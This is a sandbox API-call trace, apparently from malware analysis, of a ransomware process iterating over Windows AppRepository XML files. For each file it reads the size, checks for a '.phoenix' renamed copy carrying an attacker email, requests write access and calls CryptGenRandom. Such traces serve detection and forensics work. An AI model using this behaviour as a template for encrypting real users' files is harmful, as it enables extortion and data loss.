	[0250.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.879] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.879] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1175) returned 1
	[0250.879] CloseHandle (hObject=0x2d4) returned 1
	[0250.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.879] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.880] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1175) returned 1
	[0250.880] CloseHandle (hObject=0x2d4) returned 1
	[0250.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.880] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.880] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=46430) returned 1
	[0250.880] CloseHandle (hObject=0x2d4) returned 1
	[0250.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.881] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.881] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15262) returned 1
	[0250.881] CloseHandle (hObject=0x2d4) returned 1
	[0250.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.881] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.882] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15264) returned 1
	[0250.882] CloseHandle (hObject=0x2d4) returned 1
	[0250.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.882] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.882] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.882] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.883] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=31666) returned 1
	[0250.883] CloseHandle (hObject=0x2d4) returned 1
	[0250.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.884] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.884] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.884] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9363) returned 1
	[0250.884] CloseHandle (hObject=0x2d4) returned 1
	[0250.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.885] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.885] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0250.885] CloseHandle (hObject=0x2d4) returned 1
	[0250.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.885] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.886] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.886] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0250.886] CloseHandle (hObject=0x2d4) returned 1
	[0250.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.886] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.886] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.886] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.886] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=26878) returned 1
	[0250.886] CloseHandle (hObject=0x2d4) returned 1
	[0250.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.887] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.887] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4342) returned 1
	[0250.887] CloseHandle (hObject=0x2d4) returned 1
	[0250.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.887] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.888] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=820) returned 1
	[0250.888] CloseHandle (hObject=0x2d4) returned 1
	[0250.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.888] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.888] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1034) returned 1
	[0250.889] CloseHandle (hObject=0x2d4) returned 1
